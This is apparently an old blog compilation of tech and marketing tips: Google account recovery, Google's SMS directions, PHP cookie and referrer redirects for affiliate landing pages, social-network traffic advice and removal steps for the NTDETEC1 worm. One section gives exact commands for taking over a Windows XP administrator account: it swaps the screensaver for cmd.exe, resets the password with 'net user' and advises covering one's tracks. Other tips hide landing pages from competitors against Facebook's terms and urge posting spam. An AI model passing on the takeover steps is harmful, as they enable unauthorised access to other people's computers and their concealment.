What to Do when Ur Orkut is Hacked!

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:


1. Reset Your Google Account Password:

Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd - you will receive an email at your secondary email address with a link to reset your Google Account Password.
This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:

If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:

If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.

It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

Free Instant SMS Directions From Google

I was just shown this amazing little trick from Google. If you are ever lost, need a number or address, or would like directions this is the trick for you. All you need is a cell phone and a place to go and the trick is easy.

Google allows you to text message them for instant, free directions! What you need to do is dial ‘Google’ (466453…yes only 6 numbers) with the body of the text containing and place in the world and a location. For example I put in “Border Grille Santa Monica”, which is a great restaurant in Los Angeles. I text message Google at their number and within 3 seconds I received 2 text messages back containing the address and instant dial phone number of the two Border Grilles in the Santa Monica area.

I was very amazed by this, but am not surprised by Google. Some of the best features of Google are their free services (analytics, mail, etc). I am not quite sure if you have to pay for the text message you send (may depend on your provider), but regardless this is a very nice trick.

How to Deal With Repeat Clicks (Aff Marketing)

Problem:

I recently ran into a problem while running an affiliate marketing campaign. The problem was that since I was changing my ad copy so often, the same people would click my ads multiple times and land on the same landing page and would leave (because they had already been to it and left). This caused the amount of clicks from my landing page to the offer page to decline gradually because return visitors thought they were going to a new site when they actually weren’t (since my ad they clicked on was different).

A similar problem was people who did click through to the offer page and were back a second time. In this case they converted and won’t convert again, or did not convert because they didn’t like the offer. Either way I had to think of something else to do with these repeat visits.

Solution:

I thought about it and came up with a solution. I created a little cookie dropping script that tested two things: 1. did they already come to my landing page? 2. did they click through to the offer page? Here is the code:


if ( isset($_COOKIE['clicked'])) {

header(”Location: http://www.anothersimilaroffer.com”);
exit;
}

if ( isset($_COOKIE['landed']) && ($_COOKIE['landed'] <= time()-60*5) ) {
header("Location: http://www.adifferentlandingpage.com/");
exit;
}

$month = time()+60*60*24*30;
$value = time();
setcookie("landed",$value, $month);
?>

Put this code at the top of your landing page.

In addition, you will also have to set another cookie (shown below) called “clicked” when they click your outbound link to the offer page:


$month = time()+60*60*24*30;
$value = time();
setcookie("clicked",$value, $month);
?>


Basically, how it works is when a new user visits, it will set the “landed” cookie. If they leave after that nothing else happens. If they click the outbound link to the offer page, a cookie called “clicked” will be set.

When a repeat visitor comes back it will check to see if they went to the offer page first. If they did you can redirect them to another similar offer instead. If the repeat visitor landed but did not click through (left your site), you can redirect them to another landing page for the same offer, which may give a conversion. NOTE: it gives a user 5 minutes after leaving your site before the redirect will occur.

This will at least give you some control over people who click your ads multiple times and either don’t like your landing page or don’t like the offer you are selling.

Facebook Ads: Dealing With Adboard Clicks

I was talking with Neil from NeilsWeb.com a couple days ago and he gave me a really cool script to deal with clicks from Facebook’s adboard. For those of you not familiar, adboard is a listing of most of the ads that are relevant to you on Facebook. There is a little link under the ads on the right side (shown below) that you can click to get there.

Problem:
Adboard is a great place to get competitive information. You can see all the ads targeting your demographic on a single page. Because of this, I assume 95% of the clicks you get from the adboard are from your competitors. This is especially true in the affiliate marketing world. So when my competitor sees my ad and then clicks it, they also can see my landing page. This is 75% of a profitable formula. So Neil gave me a great idea (and script) to prevent my competitors from seeing my landing page coming from the adboard, which is a huge help.

Solution:
The solution to this is to send all clicks coming from the adboard to a different landing page. You can send them directly to the offer, or a different page all together. I am not certain this exact practice is allowed by FB, so I have asked my account manager and am awaiting my response.

So, how do we redirect all clicks from the adboard? A simple php script below (this is a modified script from the one that Neil gave me):

$ref = $_SERVER['HTTP_REFERER'];
if ($ref == ‘http://www.facebook.com/ads/adboard/’) {
header(”Location:http://www.adifferentwebsite.com”);
exit;
}
?>

That’s it. This code basically detects the referring URL and redirects the click if it comes from the adboard. A few things to remember: 1. this does not catch clicks if the user copies/pastes the URL from the adboard, without actually clicking. 2. you are still paying for the clicks that you redirect. 3. this may be against FB’s TOS, so use at your own risk.

Quick Tip - Getting FREE Traffic

This one should be obvious to most, but I just realized how much I really use this method. If you belong to a social networking site such as MySpace or Facebook, what better place to give your links to people than these! I am a Facebook man myself, and the reason is because MySpace is so spammy. So I am pretty much contradicting myself asking people to spam Facebook, when I hate MySpace for that exact reason…OH WELL! :).

So if you have a website you want to promote or a mini niche site you want traffic to come to, post it on your favorite social network. Since I use facebook I click on “My Shares.” I put my link in there and boom, hundreds of people see the link, a picture, and a caption. I get a decent amount of traffic from Facebook to . So go ahead and if you don’t mind doing a little spam-work, post your link to these social networks.

How to Hack a Window XP Admins Password

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

How To Remove NTDETEC1.exe Virus

Symptoms:
1. Task Manager closes as soon as it launches.
2. RegEdit may be inaccesible
3. Folder Options may be inaccessible

When I scanned using some anti-virus software, Nod32, Symantec
AV Corporate, McAfee and AVG failed to detect the files, even in Safe Mode.

If you’re using the Operating System called Windows, chances are that you might have already come across the ntdetec1.exe virus. Or you will, sooner or later.

Its official name is W32.Ceted and it is a worm that copies itself to all shared and removable drives and spreads when the user double clicks on it to open it. If a system is infected, it creates a folder called ntdetec1 in your System Drive which is NOT visible via Explorer or Command prompt.

~~~To remove it, run the following commands at the command prompt:

taskkill /im cmrss.exe
taskkill /im ntdetec1.exe
taskkill /im shell32.exe

Now, make sure you are in the root drive of your system. For example, if your Windows in installed in C:, make sure your prompt shows C:\>
Now, run the command..

attrib ntdetec1 -s -h -r /s /d

(s->system,h->hidden,r->read only)

This will make the folder visible in explorer. Now you can Shift+Delete the folder from explorer.

Also, you might need to delete the following registry key (if it is present)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\ Run\"winlogon" = "C:\ntdetec1\run.exe"

Congratulations, this will remove all known traces of the above worm.
